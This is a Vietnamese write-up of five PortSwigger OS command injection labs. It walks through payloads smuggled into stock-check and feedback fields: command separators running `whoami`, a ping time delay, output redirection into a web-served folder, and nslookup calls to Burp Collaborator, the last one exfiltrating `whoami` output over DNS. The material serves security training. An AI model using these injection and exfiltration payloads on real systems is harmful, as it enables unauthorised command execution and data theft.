# OS COMMAND INJECTION WRITE UP
---
###### tags: `PortSwigger` `Writeup`
## 1. Lab: OS command injection, simple case

- Lab này có chứa một lỗi OS command injection trong cơ chế kiểm tra hàng hóa, trang web sẽ thực hiện câu lệnh với input là storeID và ID sản phẩm, rồi return output nguyên thủy
- Để solve được lab, em cần thực hiện câu lệnh `whoami` để xem ai đang là người dùng
- Đầu tiên em đưa trang web dùng để check stock vào tab Repeater để xem xét, thì có 2 tham số chính đóng vai trò trong việc check, là productID và storeID, giờ để thực hiện được câu lệnh `whoami` thì em phải chèn nó vào chỗ này
- Thì em sử dụng dấu & để ngăn cách các câu lệnh với nhau, em đã thêm `&whoami&` vào giữa 2 câu truyền này, và em đã url encode nó, gửi request đi và nó trả về ai đang dùng máy trên, cùng với thông báo lỗi vì nó không tìm thấy sản phẩm nào thỏa mãn các điều kiện trên

- Như vây, em đã solve được lab

## 2. Lab: Blind OS command injection with time delays

- Lab trên có chứa lỗ hổng OS command injection trong cơ chế gửi feedback, kết quả của output không hiện ra trang web
- Để solve được lab thì em cần phải thực hiện delay request 10s
- Thì cách tốt nhất để thực hiện delay của 1 trang web là câu lệnh: `ping -c 10 127.0.0.1`
- Bây giờ em phải nhét câu lệnh này vào phần email ở trong phần feedback, vì cơ chế thực thi của feedback là khi em điền thông tin và gửi feedback với email của em, thì trang web sẽ tạo 1 email gửi đến một trand admin mà chứa feedback của em, để làm được vậy thì nó cần phải gọi lại thông tin gồm địa chỉ email và feedback của em
- Vì vậy nên em mới gài câu lệnh ping vào phần email, và câu trả lời của em đạt độ trễ gần 10 giây:


- Như vậy, em đã solve được lab:

## 3. Lab: Blind OS command injection with output redirection

- Lab này vẫn sẽ không hiện ra output cho chúng ta, nhưng chúng ta có thể chuyển hướng output để lưu được ouput ở trong folder `/var/www/images/`, trang web sẽ thực thi như là thực thi với 1 ảnh, nên ta cần phải điều hướng output trong phần injected command đến file images, rồi dùng ảnh đó để thu được nội dung của file
- Để solve được lab, em cần thực thi câu lệnh `whoami` và lấy được output của nó
- Em đã dùng dấu `||` thay cho `&` để chèn câu lệnh whoami, đồng thời lưu kết quả đó vào file whoami.txt theo đường dẫn: /var/www/images/

- Bằng câu lệnh`||whoami > /var/www/images/whoami.txt||`, em đã thực thi câu lệnh whoami, và lưu kết quả của câu lệnh whoami vào file theo chỉ định
- Việc lưu trữ đã thành công, sau đó em truy xuất vào `/image?filename=whoami.txt` để hiện ra được kết quả:

- Như vậy, em đã solve được lab

## 4. Lab: Blind OS command injection with out-of-band interaction

- Lab này chứa lỗ hổng blind OS command injection ở chức năng feedback. Ứng dụng sẽ thực thi câu lệnh shell chứa chi tiết thông tiên cung cấp bởi người dùng. Câu lệnh được thực thi mà không hiện kết quả ở response. Để solve lab thì em cần khai thác lỗ hổng blind OS command để gọi một DNS lookup tới Burp Collaborator
- Em sẽ chèn thêm: `|| nslookup a.536xnlijujsxbjx6w473pmphn8t0hq5f.oastify.com ||` vào giữa phần POST để khi gửi nó sẽ thực thi tìm địa chỉ DNS của trang web burpcollaborator của em:

- Bắt được DNS query, em đã solve được lab này:


## 5. Lab: Blind OS command injection with out-of-band data exfiltration

- Lab này chứa lỗ hổng blind OS command injection, tương tự như lab trước, nhưng giờ ta cần phải thực thi câu lệnh `whoami` để lấy thông tin người dùng OS ở DNS query trong Burp Collaborator.
- Lần này thay vì gửi `a.536xnlijujsxbjx6w473pmphn8t0hq5f.oastify.com` em sẽ gửi ```|| nslookup `whoami`.czf4jseqqqo47qtdsb3altlojfp8d01p.oastify.com ||``` để DNS trả về người dùng OS để đầu URL, submit request và vào collaborator để check nào:

- Tên người dùng đã về rồi:

- Submit `peter-aYaQk0` và em đã solve được lab
